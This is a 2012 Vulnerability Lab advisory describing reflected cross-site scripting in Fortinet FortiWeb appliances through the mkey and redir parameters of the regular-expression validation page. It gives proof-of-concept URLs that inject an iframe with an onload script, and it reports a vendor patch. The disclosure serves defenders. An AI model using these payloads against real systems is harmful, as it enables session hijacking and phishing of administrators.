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  Межсайтовый скриптинг в FortiGate FortiWeb

From:Vulnerability Lab <research_(at)_vulnerability-lab.com>
Date:10 декабря 2012 г.
Subject:FortiWeb 4kC,3kC,1kC & VA - Cross Site Vulnerabilities



Title:
======
FortiWeb 4kC,3kC,1kC & VA - Cross Site Vulnerabilities


Date:
=====
2012-12-01


References:
===========
http://www.vulnerability-lab.com/get_content.php?id=702


VL-ID:
=====
702


Common Vulnerability Scoring System:
====================================
2.1


Introduction:
=============
FortiWeb web application firewalls protect, balance, and accelerate your web applications, databases, and any
information exchanged between them. Whether you are protecting applications delivered over a large enterprise,
service provider, or cloud-based provider network, FortiWeb appliances will reduce deployment time and
simplify security management. Fortinet s FortiWeb™ has passed ICSA Web Application Firewall Certification.
The latest model being tested is FortiWeb 1000C. ICSA Labs certifications are evidence of FortiWeb s commitment
to uphold the industry s highest security standards. Achieving this certification ensures that FortiWeb™ customers
benefit from best practices in the security industry for all their Web application needs.

(Copy of the Vendor Homepage: http://www.fortinet.com/products/fortiweb/ )



Abstract:
=========
The Vulnerability Laboratory Research Team discovered multiple cross site scripting vulnerabilities in
Fortinets FortiWeb 4000C, 3000C/3000CFsx, 1000C, 400C & Virtual Appliance.


Report-Timeline:
================
2012-10-01: Researcher Notification & Coordination
2012-10-11: Vendor Notification
2012-10-05: Vendor Response/Feedback
2012-11-11: Vendor Fix/Patch
2012-12-01: Public or Non-Public Disclosure


Status:
========
Published


Affected Products:
==================
Fortinet
Product: FortiWeb Application Series v4000C, 3000C/3000CFsx, 1000C, 400C & Virtual Appliance


Exploitation-Technique:
=======================
Remote


Severity:
=========
Medium


Details:
========
A non persistent cross site scripting vulnerability is detected in Fortinets FortiWeb 4000C, 3000C/3000CFsx, 1000C, 400C & Virtual Appliance.
The vulnerability allows remote attackers to hijack website customer, moderator or admin sessions with low or medium required user inter action
and without local privileged application user account. The vulnerability is located in the Regular Expression - Validation (pcre_expression/validate)
module with the bound vulnerable redir and mkey parameters. Successful exploitation results in client side account steal, client side phishing &
client-side appliance module context request manipulation.


Vulnerable Module(s):
[+] Regular Expression - Validation Module (pcre_expression/validate)

Vulnerable Parameter(s):
[+] redir
[+] mkey


Proof of Concept:
=================
The client side cross site scripting vulnerability can be exploited by remote attackers without application user account and
with medium required user interaction. For demonstration or reproduce ...

Code Review: Regular Expression - Validation Module (mkey & redir)

<tr><td>
<table class="footer" cellpadding="0" cellspacing="0">
<tr><td>
<input class="button" type="button" value="Return" onclick="if (window.opener) {window.close();
} else {document.location='/waf/pcre_expression/validate'}">
</td></tr>
</table>
</td></tr>
<input type="hidden" name="mkey" size="22" maxlength="22"
value="0"><[CLIENT SIDE SCRIPT CODE EXECUTION!]") <">
<input type="hidden" name="validated" value="-1">
<input type="hidden" name="redir" value="/success">
</form>
</table>
</td>

... or

<tr><td>
<table class="footer" cellpadding="0" cellspacing="0">
<tr><td>
<input class="button" type="button" value="Return" onclick="if (window.opener) {window.close();
} else {document.location='/waf/pcre_expression/validate'}">
</td></tr>
</table>
</td></tr>
<input type="hidden" name="mkey" size="22" maxlength="22"
value="0"><[CLIENT SIDE SCRIPT CODE EXECUTION!]") <">
<input type="hidden" name="validated" value="-1">
<input type="hidden" name="redir" value="/success">
</form>
</table>
</td>



PoC:
https://fortiweb.127.0.0.1:
1336/waf/pcre_expression/validate?redir=/success&mkey=0%22%3E%3Ci
frame%20src=http://vuln-lab.com%20onload=alert%28%22VL%22%
29%20%3C

https://fortiweb.127.0.0.1:
1336/waf/pcre_expression/validate?redir=/success%20%22%3E%3Cifram
e%20src=http://vuln-lab.com%20onload=alert%28%22VL%22%29%
20%3C&mkey=0



Solution:
=========
The vulnerability can be patched by parsing all mkey and redir success parameter requests of the vulnerable Regular Expression - Validation module.

2012-11-11: Vendor Fix/Patch


Risk:
=====
The security risk of the non persistent cross site scripting vulnerabilities are estimated as low(+)|(-)medium.


Credits:
========
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri ([email protected])


Disclaimer:
===========
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may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases
or trade with fraud/stolen material.

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